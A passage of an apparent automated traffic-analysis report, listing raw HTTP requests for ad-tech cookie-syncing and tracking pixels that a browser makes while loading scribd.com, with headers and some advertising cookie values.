brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cksync?gdpr=0&gdpr_consent=&cs=34&type=pri&ovsid=67b434a8abd6b&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D127%26advUuid%3D%3Cvsid%3E%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cs.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cookie?redirect_url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11606%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26uid%3D%24UID HTTP/1.1Host: cm.adform.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D130%26advUuid%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776&us_privacy=1-N- HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D121%26advUuid%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET /user-matching?id=3586&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58818/sync?redir=true&gdpr=0&gdpr_consent=&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?endpoint=us-east&p=rise_engage HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ouy0wyc0X/cfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.4231536863270031 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pubsync/verify?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D126%26advUuid%3D%5Btvid%5D HTTP/1.1Host: mb9eo.publishers.tremorhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=criteoPrebidAdapter&domain=www.scribd.com&sn=EdgeSyncframe&so=0&topUrl=www.scribd.com&info=_UYJq19aSTZZSXN3RWdkb0VzR3RBVzZ2bzh3WlV5OHRwVWlZUkN3T1l4OHBLNFBWRTZ6Z09mdGMlMkJjbGxUQmw2R3JoZVpueGQlMkZHV2dRaUFkZCUyQlhwTzY4RUhHdyUzRCUzRA&idsd=637430835,-1426216302&cw=1&lsw=1 HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/syncframe?origin=criteoPrebidAdapter&topUrl=www.scribd.com&us_privacy=1-N-&gpp=Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159988&gdpr=0&gdpr_consent=&us_privacy=1-N-&pu=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dpubmatics2s%26userId%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D1-N-&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?gdpr=0&gdpr=0&gdpr_consent=&gdpr_consent=&p=160295&pu=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11576%26id%3D%23PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oE8GeBX+kBwryUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=12776&us_privacy=1-N- HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?us_privacy=1-N- HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=21&redirectUri=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D140%26advUuid%3D%5Bssb_sync_pid%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ssbsync-global.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=bDo12slQc2UxZv1hTCE4hAkAhFj8EQkpuKE5kBQFgSz8QBwxjR1hgAAJlSW0SUg1jEAhzTxBgHmlDAg1mSwhmVwZkG2pGAF8wEAlmAFB3VHhAAlplEVxoVQVkSWJCBFA3QlVgV1NgTW9UHUpiQghlVgJkTGlFA1xnElxhUgVlHTxBVwt2X05kBQEwTGpOCAs2RFswVQJlSW0VUlxhF1hzTxBjSWhDAFg1Fw1lUAE0TmpGAF9sRFlhVQZ3VHhAAlwxSlRhV1A3SzkSBwsxF15hAAFiTThUHUpiQQo0VgU2Gj4QBlowR1liWwNmTG9HAQl2X05kBQVsT20UBlxmSwhhAQJlSW0XUl4wRQlzTxBjTT9CCFllRV4zVAo0TG0QUA5nRFwyAlB3VHhABw0wQVswUgRgSWhHBlBiQ1liUVZlHDhUHUpiQVpoUQsxHm1FUgo3S1RoAgoxSmIQAlh2X05nVQFlGWhCVFBgFlg1VAs0QWJOVQ1gR1hzTxBjTT4VB1FsFQpmUQc0SW0SUwphQw9nAgV3VHhAB1ljF1tiAlAwQWhEUl5iFwlgAVFsTmpUHUpiRlhiVANmHT4UU1FgQFxpBwc2SGpOCVx2X05nV1M0HD5OUwlnFw5pVVQ0GWsXBlE1RQ5zTxBjTT8QAlxkR1tpUgoxTzxEV1AwElxgV1B3VHhABQsySlphVABnTjxGUlhmF1hpVQYwGT9UHUpiRQ1mWgdnTmhCVQ03RFQ1WwpgSz4TUl12X05nUVQwTTxCAw0yEllkVQI3Tm1FAAxgEg5zTxBjSmoXA15jQw40AFAzGmNBBFxjRVthAlZ3VHhABw5tQwgwVAYwQDxBAFpnQVhpVQs2S2pUHUpiRFtjAFEzQGMVVwkyRw9jVANkS25EVFx2LkBzBFYlCnhMSko9ACkEQQgzGTYFVER2FAghERBvWnhaEw8wAx4SDFwmHTQCE1J2UUBzFkEFCjMAUAstUVZzQR53HyoGE1J2UUBzBEIlKzMSE1J2UUBzEVcxESgTUhx2SU45F0YlC2BZHh0
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&us_privacy=1-N- HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-MediaNet_ox-db5_n-colossusMedia_n-cadent_n-adman-v2_n-onetag_pm-db5_n-simpli.fi_ym_n-vmg_n-nativo_sovrn_gg_n-adMediaV1_n-Ogury_n-Beeswax_smrt_n-inmobi_cnv_n-Seedtag_rbd_ppt_an-db5_n-Rise_3lift&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/usersync.html?partnerid=59&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dundertonenew%26userId%3D%24%7BUIDENC%7D%26gdpr%3D%24%7Bgdpr%7D%26gdpr_consent%3D%24%7Bgdpr_consent%7D%26us_privacy%3D%24%7Bus_privacy%7D HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
